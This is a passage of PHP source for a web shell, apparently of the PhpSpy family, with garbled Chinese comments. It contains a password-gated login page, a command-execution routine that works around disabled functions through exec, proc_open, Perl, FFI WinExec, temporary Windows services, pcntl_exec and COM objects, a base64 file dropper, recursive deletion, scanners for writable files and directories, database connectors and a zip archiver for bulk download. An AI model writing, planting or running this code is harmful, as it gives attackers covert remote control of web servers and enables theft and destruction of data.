2758 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
2759 for($i = $from; $i <= $to; $i++) {
2760 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
2761 }
2762 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
2763 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
2764 }
2765 return $multipage;
2766}
2767// 登陆入å£
2768function loginpage() {
2769?>
2770 <style type="text/css">
2771 input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
2772 </style>
2773 <form method="POST" action="">
2774 <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
2775 <input type="hidden" name="doing" value="login">
2776 <input type="submit" value="Login">
2777 </form>
2778<?php
2779 exit;
2780}//end loginpage()
2781function finddir($dir){
2782 if (@function_exists('scandir') && ($res=@scandir($dir))){
2783 $strarr = $res;
2784 }elseif (@function_exists('dir') && ($res=@dir($dir)) ){
2785 while (false !== ($file=$res->read())){
2786 $strarr[] .= $file;
2787 }
2788 $res->close();
2789 }elseif (@function_exists('opendir') && @function_exists('readdir') && ($res=@opendir($dir))){
2790 while (false !== ($file=@readdir($res))){
2791 $strarr[] .= $file;
2792 }
2793 @closedir($res);
2794 }
2795 return ($strarr);
2796}
2797function cutspaces($str){
2798 while (substr($str, 0, 1) == " ") { $str=substr($str, 1); }
2799 return $str;
2800}
2801function ftp_files($list){
2802
2803 for ($i=0; $i < sizeof($list); $i++){
2804 list($permissions, $next)=split(" ", $list[$i], 2);
2805 list($num, $next)=split(" ", cutspaces($next), 2);
2806 list($owner, $next)=split(" ", cutspaces($next), 2);
2807 list($group, $next)=split(" ", cutspaces($next), 2);
2808 list($size, $next)=split(" ", cutspaces($next), 2);
2809 list($month, $next)=split(" ", cutspaces($next), 2);
2810 list($day, $next)=split(" ", cutspaces($next), 2);
2811 list($year_time, $filename)=split(" ", cutspaces($next), 2);
2812
2813 if ($filename != "." && $filename != ".."){
2814 if (substr($permissions, 0, 1) == "d"){
2815 $dirname="<tr class=\"alt2\" onmouseover=\"this.className='focus';\" onmouseout=\"this.className='alt2';\">
2816 <td nowrap>";
2817 $dirname.="<a href=\"javascript:ftpgodir('" . $filename . "')\">" . $filename . "</a>";
2818 $dirname.="</td><td nowrap>" . $owner . "</td><td nowrap>" . $group
2819 . "</td><td nowrap><a href=\"javascript:chmodd('" . $filename . "','777');\">"
2820 . $permissions . "</a></td><td nowrap>" . $size . "</td><td nowrap>" . $month . $day . " "
2821 . $year_time . "<td nowrap><a href=\"javascript:delfolder('" . $filename
2822 . "','Delete Folder " . $filename . " ?')\">Delete</a> | <a href=\"javascript:ftprename('"
2823 . $filename . "')\">Rename</a></td></tr>";
2824 $dirnames.=$dirname;
2825 }
2826 else{
2827 $testfile="<tr class=\"alt2\" onmouseover=\"this.className='focus';\" onmouseout=\"this.className='alt2';\">
2828 <td nowrap>" . $filename . "</td><td nowrap>" . $owner . "</td><td nowrap>" . $group
2829 . "</td><td nowrap><a href=\"javascript:chmodd('" . $filename . "','777');\">"
2830 . $permissions . "</a></td><td nowrap>" . sizecount($size) . "</td><td nowrap>" . $month
2831 . $day . " " . $year_time . "<td nowrap><a href=\"javascript:editf('" . $filename
2832 . "')\">Edit</a> | <a href=\"javascript:downf('" . $filename
2833 . "')\">Download</a> | <a href=\"javascript:delfile('" . $filename . "','Delete File "
2834 . $filename . " ?')\">Delete</a> | <a href=\"javascript:ftprename('" . $filename
2835 . "')\">Rename</a></td></tr>";
2836 $filenames.=$testfile;
2837 }
2838 }
2839 }
2840
2841 echo $dirnames;
2842
2843 echo $filenames;
2844}
2845function get_netip($myip){ //åªç•™å®¢æˆ·IP地å€çš„å‰ä¸‰ä½
2846 $temp=explode(".",$myip);
2847 $netip.=$temp[0];
2848 $netip.=".";
2849 $netip.=$temp[1];
2850 $netip.=".";
2851 $netip.=$temp[2];
2852 return $netip;
2853}
2854function execute($cfe) {
2855 $res = '';
2856 if (!empty($cfe))
2857 {
2858 if(@function_exists('exec'))
2859 {
2860 @exec($cfe,$res);
2861 $res = join("\n",$res);
2862 }
2863 elseif(@function_exists('shell_exec'))
2864 {
2865 $res = @shell_exec($cfe);
2866 }
2867 elseif(@function_exists('system'))
2868 {
2869 @ob_start();
2870 @system($cfe);
2871 $res = @ob_get_contents();
2872 @ob_end_clean();
2873 }
2874 elseif(@function_exists('passthru'))
2875 {
2876 @ob_start();
2877 @passthru($cfe);
2878 $res = @ob_get_contents();
2879 @ob_end_clean();
2880 }
2881 elseif(@function_exists('popen') && @is_resource($f = @popen($cfe,"r")))
2882 {
2883 $res = "";
2884 if(@function_exists('fread') && @function_exists('feof')){
2885 while(!@feof($f)) { $res .= @fread($f,1024); }
2886 }else if(@function_exists('fgets') && @function_exists('feof')){
2887 while(!@feof($f)) { $res .= @fgets($f,1024); }
2888 }
2889 @pclose($f);
2890 }
2891 elseif(@function_exists('proc_open') && @is_resource($f = @proc_open($cfe,array(1 => array("pipe", "w")),$pipes)))
2892 {
2893 $res = "";
2894 if(@function_exists('fread') && @function_exists('feof')){
2895 while(!@feof($pipes[1])) {$res .= @fread($pipes[1], 1024);}
2896 }else if(@function_exists('fgets') && @function_exists('feof')){
2897 while(!@feof($pipes[1])) {$res .= @fgets($pipes[1], 1024);}
2898 }
2899 @proc_close($f);
2900 }elseif(extension_loaded('perl'))
2901 {
2902 @ob_start();
2903 $safeperl=new perl();
2904 $safeperl->eval("system('$cfe')");
2905 $res = @ob_get_contents();
2906 @ob_end_clean();
2907 }
2908 elseif(IS_WIN && extension_loaded('ffi'))
2909 {
2910 $output=SA_ROOT.uniqid('7J');
2911 $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
2912 if(!@function_exists('escapeshellarg')){$res=$api->WinExec("cmd.exe /c $cfe >\"$output\"",0);}
2913 else{$res=$api->WinExec("cmd.exe /c ".@escapeshellarg($cfe)." >\"$output\"",0);}
2914 while(!@file_exists($output))sleep(1);
2915 $res=moreread($output);
2916 @unlink($output);
2917 }
2918 elseif(IS_WIN && extension_loaded('win32service'))
2919 {
2920 $output=SA_ROOT.uniqid('7J');
2921 $n_ser=uniqid('7J');
2922 if(!@function_exists('escapeshellarg'))
2923 {@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>str_replace('\\', '\\\\', getenv("COMSPEC")),'params'=>"/c $cfe >\"$output\""));}
2924 else{@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>str_replace('\\', '\\\\', getenv("COMSPEC")),'params'=>"/c ".@escapeshellarg($cfe)." >\"$output\""));}
2925 @win32_start_service($n_ser);
2926 @win32_stop_service($n_ser);
2927 @win32_delete_service($n_ser);
2928 while(!@file_exists($output))sleep(1);
2929 $res=moreread($output);
2930 @unlink($output);
2931 }
2932 elseif(IS_WIN && extension_loaded("win32std"))
2933 {
2934 $output=SA_ROOT.uniqid('7J');
2935 if(!@function_exists('escapeshellarg')){@win_shell_execute('..\..\..\..\..\..\..\\'.substr(getenv("COMSPEC"),2).' /c '.$cfe.' > "'.$output.'"');}
2936 else{@win_shell_execute('..\..\..\..\..\..\..\\'.substr(getenv("COMSPEC"),2).' /c '.@escapeshellarg($cfe).' > "'.$output.'"');}
2937 while(!@file_exists($output))sleep(1);
2938 $res=moreread($output);
2939 @unlink($output);
2940 }
2941 elseif(@function_exists('pcntl_exec') && @function_exists('pcntl_fork'))
2942 {
2943 $res = '[~] Blind Command Execution via [pcntl_exec]\n\n';
2944 $output=SA_ROOT.uniqid('7J');
2945 $pid = @pcntl_fork();
2946 if ($pid == -1) {
2947 $res .= '[-] Could not children fork. Exit';
2948 } else if ($pid) {
2949 if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'" successfully executed.';}
2950 else {$res .= '[-] Error. Command incorrect.';}
2951 } else {
2952 $cfe = array(" -e 'system(\"$cfe > $output\")'");
2953 if(@pcntl_exec('/usr/bin/perl',$cfe)) exit(0);
2954 if(@pcntl_exec('/usr/local/bin/perl',$cfe)) exit(0);
2955 die();
2956 }
2957 $res=moreread($output);
2958 @unlink($output);
2959 }
2960 elseif(IS_WIN && IS_COM)
2961 {
2962 $wsh = new COM('WScript.shell');
2963 $exec = $wsh->exec('cmd.exe /c '.$cfe);
2964 $stdout = $exec->StdOut();
2965 $res = $stdout->ReadAll();
2966 }else{
2967 $output=SA_ROOT.uniqid('7J');
2968 $shell= new COM('Shell.Application');
2969 $a = $shell->ShellExecute(str_replace('\\', '/', getenv("COMSPEC")),'/c '.$cfe.' > '.$output);
2970 sleep(1);
2971 $res=moreread($output);
2972 @unlink($output);
2973 }
2974 }
2975 return htmlspecialchars($res);
2976}
2977function which($pr) {
2978 $path = execute("which $pr");
2979 return ($path ? $path : '');
2980}
2981
2982function cf($fname,$text){
2983 if($fp=@fopen($fname,'w')) {
2984 @fputs($fp,@base64_decode($text));
2985 @fclose($fp);
2986 }
2987}
2988function dirsize($dir) {
2989 $dh = @opendir($dir);
2990 $size = 0;
2991 while($file = @readdir($dh)) {
2992 if ($file != '.' && $file != '..') {
2993 $path = $dir.'/'.$file;
2994 if (@is_dir($path)) {
2995 $size += dirsize($path);
2996 } else {
2997 $size += @filesize($path);
2998 }
2999 }
3000 }
3001 @closedir($dh);
3002 return $size;
3003}
3004// 页é¢è°ƒè¯•ä¿¡æ¯
3005function debuginfo() {
3006 global $starttime;
3007 $mtime = explode(' ', microtime());
3008 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
3009 echo 'Processed in '.$totaltime.' second(s)';
3010}
3011
3012//连接MYSQLæ•°æ®åº“
3013function mydbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
3014 global $charsetdb;
3015 @ini_set('mysql.connect_timeout', 5);
3016 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
3017 p('<h2>Can not connect to MySQL server</h2>');
3018 exit;
3019 }
3020 if($link && $dbname) {
3021 if (!@mysql_select_db($dbname, $link)) {
3022 p('<h2>Database selected has error</h2>');
3023 exit;
3024 }
3025 }
3026 if($link && mysql_get_server_info() > '4.1') {
3027 if($charset && in_array(strtolower($charset), $charsetdb)) {
3028 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
3029 }
3030 }
3031 return $link;
3032}
3033
3034//连接MSSQLæ•°æ®åº“
3035function msdbconn($dbhost,$dbuser,$dbpass,$dbname='') {
3036 global $alreadymssql;
3037 @ini_set('mssql.charset', 'UTF-8');
3038 @ini_set('mssql.textlimit', 2147483647);
3039 @ini_set('mssql.textsize', 2147483647);
3040 $alreadymssql = 1;
3041 if (!extension_loaded('mssql')) {
3042 p('<h2>mssql extension is disable.</h2>');
3043 $alreadymssql = 0;
3044 exit;
3045 }
3046 if(!$link = @mssql_connect($dbhost, $dbuser, $dbpass, false)) {
3047 p('<h2>'.msmsg().'</h2>');
3048 $alreadymssql = 0;
3049 exit;
3050 }
3051 if($link && $dbname) {
3052 if (!@mssql_select_db('['.$dbname.']', $link)) {
3053 p('<h2>'.msmsg().'</h2>');
3054 $alreadymssql = 0;
3055 exit;
3056 }
3057 }
3058 return $link;
3059}
3060
3061// 去掉转义å—符
3062function s_array(&$array) {
3063 if (is_array($array)) {
3064 foreach ($array as $k => $v) {
3065 $array[$k] = s_array($v);
3066 }
3067 } else if (is_string($array)) {
3068 $array = stripslashes($array);
3069 }
3070 return $array;
3071}
3072
3073// 清除HTML代ç
3074function html_clean($content) {
3075 $content = htmlspecialchars($content);
3076 $content = str_replace("\n", "<br />", $content);
3077 $content = str_replace(" ", " ", $content);
3078 $content = str_replace("\t", " ", $content);
3079 return $content;
3080}
3081
3082// èŽ·å–æƒé™
3083function getChmod($filepath){
3084 return substr(base_convert(@fileperms($filepath),10,8),-4);
3085}
3086
3087function getPerms($filepath) {
3088 $mode = @fileperms($filepath);
3089 if (($mode & 0xC000) === 0xC000) {$type = 's';}
3090 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
3091 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
3092 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
3093 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
3094 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
3095 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
3096 else {$type = '?';}
3097
3098 $owner['read'] = ($mode & 00400) ? 'r' : '-';
3099 $owner['write'] = ($mode & 00200) ? 'w' : '-';
3100 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
3101 $group['read'] = ($mode & 00040) ? 'r' : '-';
3102 $group['write'] = ($mode & 00020) ? 'w' : '-';
3103 $group['execute'] = ($mode & 00010) ? 'x' : '-';
3104 $world['read'] = ($mode & 00004) ? 'r' : '-';
3105 $world['write'] = ($mode & 00002) ? 'w' : '-';
3106 $world['execute'] = ($mode & 00001) ? 'x' : '-';
3107
3108 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
3109 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
3110 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
3111
3112 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
3113}
3114
3115function getUser($filepath) {
3116 if (function_exists('posix_getpwuid')) {
3117 $array = @posix_getpwuid(@fileowner($filepath));
3118 if ($array && is_array($array)) {
3119 return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
3120 }
3121 }
3122 return '';
3123}
3124
3125// åˆ é™¤ç›®å½•
3126function deltree($deldir) {
3127 $mydir=@dir($deldir);
3128 while($file=$mydir->read()) {
3129 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
3130 @chmod($deldir.'/'.$file,0777);
3131 deltree($deldir.'/'.$file);
3132 }
3133 if (is_file($deldir.'/'.$file)) {
3134 @chmod($deldir.'/'.$file,0777);
3135 @unlink($deldir.'/'.$file);
3136 }
3137 }
3138 $mydir->close();
3139 @chmod($deldir,0777);
3140 return @rmdir($deldir) ? 1 : 0;
3141}
3142
3143// è¡¨æ ¼è¡Œé—´çš„èƒŒæ™¯è‰²æ›¿æ¢
3144function bg() {
3145 global $bgc;
3146 return ($bgc++%2==0) ? 'alt1' : 'alt2';
3147}
3148
3149// 获å–当å‰çš„æ–‡ä»¶ç³»ç»Ÿè·¯å¾„
3150function getPath($scriptpath, $nowpath) {
3151 if ($nowpath == '.') {
3152 $nowpath = $scriptpath;
3153 }
3154 $nowpath = str_replace('\\', '/', $nowpath);
3155 $nowpath = str_replace('//', '/', $nowpath);
3156 if (substr($nowpath, -1) != '/') {
3157 $nowpath = $nowpath.'/';
3158 }
3159 return $nowpath;
3160}
3161
3162// 获å–当å‰ç›®å½•的上级目录
3163function getUpPath($nowpath) {
3164 $pathdb = explode('/', $nowpath);
3165 $num = count($pathdb);
3166 if ($num > 2) {
3167 unset($pathdb[$num-1],$pathdb[$num-2]);
3168 }
3169 $uppath = implode('/', $pathdb).'/';
3170 $uppath = str_replace('//', '/', $uppath);
3171 return $uppath;
3172}
3173
3174// 检查PHPé…ç½®å‚æ•°
3175function getcfg($varname) {
3176 $result = get_cfg_var($varname);
3177 if ($result == 0) {
3178 return 'No';
3179 } elseif ($result == 1) {
3180 return 'Yes';
3181 } else {
3182 return $result;
3183 }
3184}
3185
3186// 检查函数情况
3187function getfun($funName) {
3188 return (false !== function_exists($funName)) ? 'Yes' : 'No';
3189}
3190
3191// 获得文件扩展å
3192function getextension($filename) {
3193 $pathinfo = pathinfo($filename);
3194 return $pathinfo['extension'];
3195}
3196
3197function GetWDirList($dir){
3198 global $dirdata,$j,$nowpath;
3199 !$j && $j=1;
3200 if ($dh = opendir($dir)) {
3201 while ($file = readdir($dh)) {
3202 $f=str_replace('//','/',$dir.'/'.$file);
3203 if($file!='.' && $file!='..' && is_dir($f)){
3204 if (is_writable($f)) {
3205 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
3206 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
3207 $dirdata[$j]['dirchmod']=getChmod($f);
3208 $dirdata[$j]['dirperm']=getPerms($f);
3209 $dirdata[$j]['dirlink']=ue($dir);
3210 $dirdata[$j]['server_link']=$f;
3211 $dirdata[$j]['client_link']=ue($f);
3212 $j++;
3213 }
3214 GetWDirList($f);
3215 }
3216 }
3217 closedir($dh);
3218 clearstatcache();
3219 return $dirdata;
3220 } else {
3221 return array();
3222 }
3223}
3224
3225function GetWFileList($dir){
3226 global $filedata,$j,$nowpath, $writabledb;
3227 !$j && $j=1;
3228 if ($dh = opendir($dir)) {
3229 while ($file = readdir($dh)) {
3230 $ext = getextension($file);
3231 $f=str_replace('//','/',$dir.'/'.$file);
3232 if($file!='.' && $file!='..' && is_dir($f)){
3233 GetWFileList($f);
3234 } elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){
3235 if (is_writable($f)) {
3236 $filedata[$j]['filename']=str_replace($nowpath,'',$f);
3237 $filedata[$j]['size']=sizecount(@filesize($f));
3238 $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
3239 $filedata[$j]['filechmod']=getChmod($f);
3240 $filedata[$j]['fileperm']=getPerms($f);
3241 $filedata[$j]['fileowner']=getUser($f);
3242 $filedata[$j]['dirlink']=$dir;
3243 $filedata[$j]['server_link']=$f;
3244 $filedata[$j]['client_link']=ue($f);
3245 $j++;
3246 }
3247 }
3248 }
3249 closedir($dh);
3250 clearstatcache();
3251 return $filedata;
3252 } else {
3253 return array();
3254 }
3255}
3256
3257function GetSFileList($dir, $content, $re = 0) {
3258 global $filedata,$j,$nowpath, $writabledb;
3259 !$j && $j=1;
3260 if ($dh = opendir($dir)) {
3261 while ($file = readdir($dh)) {
3262 $ext = getextension($file);
3263 $f=str_replace('//','/',$dir.'/'.$file);
3264 if($file!='.' && $file!='..' && is_dir($f)){
3265 GetSFileList($f, $content, $re = 0);
3266 } elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){
3267 $find = 0;
3268 if ($re) {
3269 if ( preg_match('@'.$content.'@',$file) || preg_match('@'.$content.'@', @file_get_contents($f)) ){
3270 $find = 1;
3271 }
3272 } else {
3273 if ( strstr($file, $content) || strstr( @file_get_contents($f),$content ) ) {
3274 $find = 1;
3275 }
3276 }
3277 if ($find) {
3278 $filedata[$j]['filename']=str_replace($nowpath,'',$f);
3279 $filedata[$j]['size']=sizecount(@filesize($f));
3280 $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
3281 $filedata[$j]['filechmod']=getChmod($f);
3282 $filedata[$j]['fileperm']=getPerms($f);
3283 $filedata[$j]['fileowner']=getUser($f);
3284 $filedata[$j]['dirlink']=$dir;
3285 $filedata[$j]['server_link']=$f;
3286 $filedata[$j]['client_link']=ue($f);
3287 $j++;
3288 }
3289 }
3290 }
3291 closedir($dh);
3292 clearstatcache();
3293 return $filedata;
3294 } else {
3295 return array();
3296 }
3297}
3298
3299function qy($sql) {
3300 //echo $sql.'<br>';
3301 $res = $error = '';
3302 if(!$res = @mysql_query($sql)) {
3303 return 0;
3304 } else if(is_resource($res)) {
3305 return 1;
3306 } else {
3307 return 2;
3308 }
3309 return 0;
3310}
3311
3312function q($sql) {
3313 return @mysql_query($sql);
3314}
3315
3316function fr($qy){
3317 mysql_free_result($qy);
3318}
3319
3320//mssql
3321function msq($sql) {
3322 return @mssql_query($sql);
3323}
3324
3325function msfr($qy){
3326 mssql_free_result($qy);
3327}
3328
3329function msmsg(){
3330 return mssql_get_last_message();
3331}
3332
3333function msqy($sql) {
3334 //echo $sql.'<br>';
3335 $res = $error = '';
3336 if(!$res = @mssql_query($sql)) {
3337 return 0;
3338 } else if(is_resource($res)) {
3339 return 1;
3340 } else {
3341 return 2;
3342 }
3343 return 0;
3344}
3345
3346function sizecount($size) {
3347 if($size > 1073741824) {
3348 $size = round($size / 1073741824 * 100) / 100 . ' G';
3349 } elseif($size > 1048576) {
3350 $size = round($size / 1048576 * 100) / 100 . ' M';
3351 } elseif($size > 1024) {
3352 $size = round($size / 1024 * 100) / 100 . ' K';
3353 } else {
3354 $size = $size . ' B';
3355 }
3356 return $size;
3357}
3358
3359// 压缩打包类
3360class archive
3361{
3362 function archive($name)
3363 {
3364 $this->options = array (
3365 'basedir' => ".",
3366 'name' => $name,
3367 'prepend' => "",
3368 'inmemory' => 0,
3369 'overwrite' => 0,
3370 'recurse' => 1,
3371 'storepaths' => 1,
3372 'followlinks' => 0,
3373 'level' => 3,
3374 'method' => 1,
3375 'sfx' => "",
3376 'type' => "",
3377 'comment' => ""
3378 );
3379 $this->files = array ();
3380 $this->exclude = array ();
3381 $this->storeonly = array ();
3382 $this->error = array ();
3383 }
3384
3385 function set_options($options)
3386 {
3387 foreach ($options as $key => $value)
3388 $this->options[$key] = $value;
3389 if (!empty ($this->options['basedir']))
3390 {
3391 $this->options['basedir'] = str_replace("\\", "/", $this->options['basedir']);
3392 $this->options['basedir'] = preg_replace("/\/+/", "/", $this->options['basedir']);
3393 $this->options['basedir'] = preg_replace("/\/$/", "", $this->options['basedir']);
3394 }
3395 if (!empty ($this->options['name']))
3396 {
3397 $this->options['name'] = str_replace("\\", "/", $this->options['name']);
3398 $this->options['name'] = preg_replace("/\/+/", "/", $this->options['name']);
3399 }
3400 if (!empty ($this->options['prepend']))
3401 {
3402 $this->options['prepend'] = str_replace("\\", "/", $this->options['prepend']);
3403 $this->options['prepend'] = preg_replace("/^(\.*\/+)+/", "", $this->options['prepend']);
3404 $this->options['prepend'] = preg_replace("/\/+/", "/", $this->options['prepend']);
3405 $this->options['prepend'] = preg_replace("/\/$/", "", $this->options['prepend']) . "/";
3406 }
3407 }
3408
3409 function create_archive()
3410 {
3411 $this->make_list();
3412
3413 if ($this->options['inmemory'] == 0)
3414 {
3415 $pwd = getcwd();
3416 chdir($this->options['basedir']);
3417 if ($this->options['overwrite'] == 0 && file_exists($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip" ? ".tmp" : "")))
3418 {
3419 $this->error[] = "File {$this->options['name']} already exists.";
3420 chdir($pwd);
3421 return 0;
3422 }
3423 else if ($this->archive = @fopen($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip" ? ".tmp" : ""), "wb+"))
3424 chdir($pwd);
3425 else
3426 {
3427 $this->error[] = "Could not open {$this->options['name']} for writing.";
3428 chdir($pwd);
3429 return 0;
3430 }
3431 }
3432 else
3433 $this->archive = "";
3434
3435 switch ($this->options['type'])
3436 {
3437 case "zip":
3438 if (!$this->create_zip())
3439 {
3440 $this->error[] = "Could not create zip file.";
3441 return 0;
3442 }
3443 break;
3444 }
3445
3446 if ($this->options['inmemory'] == 0)
3447 {
3448 fclose($this->archive);
3449 if ($this->options['type'] == "gzip" || $this->options['type'] == "bzip")
3450 unlink($this->options['basedir'] . "/" . $this->options['name'] . ".tmp");
3451 }
3452 }
3453
3454 function add_data($data)
3455 {
3456 if ($this->options['inmemory'] == 0)
3457 fwrite($this->archive, $data);
3458 else
3459 $this->archive .= $data;
3460 }
3461
3462 function make_list()
3463 {
3464 if (!empty ($this->exclude))
3465 foreach ($this->files as $key => $value)
3466 {
3467 foreach ($this->exclude as $current)
3468 {
3469 if ($value['name'] == $current['name'] || $value['name'] == $current['name2'])
3470 unset ($this->files[$key]);
3471 }
3472 }
3473
3474 if (!empty ($this->storeonly))
3475 foreach ($this->files as $key => $value)
3476 foreach ($this->storeonly as $current)
3477 if ($value['name'] == $current['name'])
3478 $this->files[$key]['method'] = 0;
3479 unset ($this->exclude, $this->storeonly);
3480 }
3481
3482 function add_files($list)
3483 {
3484 $temp = $this->list_files($list);
3485 foreach ($temp as $current)
3486 $this->files[] = $current;
3487 }
3488
3489 function exclude_files($list)
3490 {
3491 $temp = $this->list_files($list);
3492
3493 foreach ($temp as $current)
3494 $this->exclude[] = $current;
3495 }
3496
3497 function store_files($list)
3498 {
3499 $temp = $this->list_files($list);
3500 foreach ($temp as $current)
3501 $this->storeonly[] = $current;
3502 }
3503
3504 function list_files($list)
3505 {
3506 if (!is_array ($list))
3507 {
3508 $temp = $list;
3509 $list = array ($temp);
3510 unset ($temp);
3511 }
3512
3513 $files = array ();
3514
3515 $pwd = getcwd();
3516 chdir($this->options['basedir']);
3517
3518 foreach ($list as $current)
3519 {
3520 $current = str_replace("\\", "/", $current);
3521 $current = preg_replace("/\/+/", "/", $current);
3522 $current = preg_replace("/\/$/", "", $current);
3523 if (strstr($current, "*"))
3524 {
3525 $regex = preg_replace("/([\\\^\$\.\[\]\|\(\)\?\+\{\}\/])/", "\\\\\\1", $current);
3526 $regex = str_replace("*", ".*", $regex);
3527 $dir = strstr($current, "/") ? substr($current, 0, strrpos($current, "/")) : ".";
3528 $temp = $this->parse_dir($dir);
3529
3530 foreach ($temp as $current2)
3531 {
3532 if (preg_match("/^{$regex}$/i", $current2['name']))
3533 $files[] = $current2;
3534 }
3535
3536 unset ($regex, $dir, $temp, $current);
3537 }
3538 else if (@is_dir($current))
3539 {
3540 echo "dir";
3541 $temp = $this->parse_dir($current);
3542 foreach ($temp as $file)
3543 $files[] = $file;
3544 unset ($temp, $file);
3545 }
3546 else if (@file_exists($current))
3547 $files[] = array ('name' => $current, 'name2' => $this->options['prepend'] .
3548 preg_replace("/(\.+\/+)+/", "", ($this->options['storepaths'] == 0 && strstr($current, "/")) ?
3549 substr($current, strrpos($current, "/") + 1) : $current),
3550 'type' => @is_link($current) && $this->options['followlinks'] == 0 ? 2 : 0,
3551 'ext' => substr($current, strrpos($current, ".")), 'stat' => stat($current));
3552 else {
3553 //echo "other error "; //å¯èƒ½æ˜¯æƒé™ä¸è¶³æˆ–者没办法读å–...
3554 }
3555 }
3556
3557 chdir($pwd);
3558
3559 unset ($current, $pwd);
3560
3561 usort($files, array ("archive", "sort_files"));
3562
3563 //print_r($files); //die;
3564 return $files;
3565
3566 }
3567
3568 function parse_dir($dirname)
3569 {
3570 if ($this->options['storepaths'] == 1 && !preg_match("/^(\.+\/*)+$/", $dirname))
3571 $files = array (array ('name' => $dirname, 'name2' => $this->options['prepend'] .
3572 preg_replace("/(\.+\/+)+/", "", ($this->options['storepaths'] == 0 && strstr($dirname, "/")) ?
3573 substr($dirname, strrpos($dirname, "/") + 1) : $dirname), 'type' => 5, 'stat' => stat($dirname)));
3574 else
3575 $files = array ();
3576 $dir = @opendir($dirname);
3577
3578 while ($file = @readdir($dir))
3579 {
3580 $fullname = $dirname . "/" . $file;
3581 if ($file == "." || $file == "..")
3582 continue;
3583 else if (@is_dir($fullname))
3584 {
3585 if (empty ($this->options['recurse']))
3586 continue;
3587 $temp = $this->parse_dir($fullname);
3588 foreach ($temp as $file2)
3589 $files[] = $file2;
3590 }
3591 else if (@file_exists($fullname)) {
3592 $files[] = array (
3593 'name' => $fullname,
3594 'name2' => $this->options['prepend'] . preg_replace("/(\.+\/+)+/", "", ($this->options['storepaths'] == 0 && strstr($fullname, "/")) ?
3595 substr($fullname, strrpos($fullname, "/") + 1) : $fullname),
3596 'type' => @is_link($fullname) && $this->options['followlinks'] == 0 ? 2 : 0,
3597 'ext' => substr($file, strrpos($file, ".")),
3598 'stat' => stat($fullname)
3599 );
3600 }
3601 }
3602
3603 @closedir($dir);
3604
3605 return $files;
3606 }
3607
3608 function sort_files($a, $b)
3609 {
3610 if ($a['type'] != $b['type'])
3611 if ($a['type'] == 5 || $b['type'] == 2)
3612 return -1;
3613 else if ($a['type'] == 2 || $b['type'] == 5)
3614 return 1;
3615 else if ($a['type'] == 5)
3616 return strcmp(strtolower($a['name']), strtolower($b['name']));
3617 else if ($a['ext'] != $b['ext'])
3618 return strcmp($a['ext'], $b['ext']);
3619 else if ($a['stat'][7] != $b['stat'][7])
3620 return $a['stat'][7] > $b['stat'][7] ? -1 : 1;
3621 else
3622 return strcmp(strtolower($a['name']), strtolower($b['name']));
3623 return 0;
3624 }
3625
3626 function download_file()
3627 {
3628 if ($this->options['inmemory'] == 0)
3629 {
3630 $this->error[] = "Can only use download_file() if archive is in memory. Redirect to file otherwise, it is faster.";
3631 return;
3632 }
3633
3634 header("Content-Type: application/zip");
3635 $header = "Content-Disposition: attachment; filename=\"";
3636 $header .= strstr($this->options['name'], "/") ? substr($this->options['name'], strrpos($this->options['name'], "/") + 1) : $this->options['name'];
3637 $header .= "\"";
3638 header($header);
3639 header("Content-Length: " . strlen($this->archive));
3640 header("Content-Transfer-Encoding: binary");
3641 print($this->archive);
3642 }
3643}
3644
3645class zip_file extends archive
3646{
3647 function zip_file($name)
3648 {
3649 $this->archive($name);
3650 $this->options['type'] = "zip";
3651 }
3652
3653 function create_zip()
3654 {
3655 $files = 0;
3656 $offset = 0;
3657 $central = "";
3658
3659 if (!empty ($this->options['sfx']))
3660 if ($fp = @fopen($this->options['sfx'], "rb"))
3661 {
